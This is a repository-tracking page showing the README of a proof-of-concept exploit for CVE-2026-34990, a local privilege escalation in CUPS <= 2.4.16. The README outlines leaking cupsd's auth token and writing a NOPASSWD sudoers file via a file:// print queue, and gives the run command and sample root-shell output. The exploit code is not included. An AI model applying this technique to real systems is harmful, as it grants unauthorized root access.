Star growth

Today—

This week—

This month—

Repository activity

Activity history will appear here once this repo has been tracked for a couple of days.

Embed badge

Show this repository's current trending rank in your README.

Trending badge for predyy/CVE-2026-34990

Markdown for your README

[![Trending on Repoburst](https://www.repoburst.com/api/badge/predyy/CVE-2026-34990)](https://www.repoburst.com/repo/predyy/CVE-2026-34990)

README

CVE-2026-34990 - CUPS Local Privesc

Local privilege escalation against CUPS <= 2.4.16 running as root. Leaks cupsd's Local auth token, then writes a NOPASSWD sudoers fragment as root via a file:// print queue.

Usage

python3 poc.py

On success:

[*] CVE-2026-34990 | user=ctfplayer | cupsd=127.0.0.1:631
[*] coercing cupsd - rogue server ...
[+] captured token: f4a8...c31b
[*] writing sudoers ...
[+] wrote /etc/sudoers.d/ctfplayer-pwn
[+] ROOT: uid=0(root) gid=0(root) groups=0(root)
[*] run: sudo -i

Then:

sudo -i

Disclaimer

This script is intended for educational purposes only. The author is not responsible for any misuse or damage caused by this exploit. Always ensure you have permission before testing or exploiting vulnerabilities!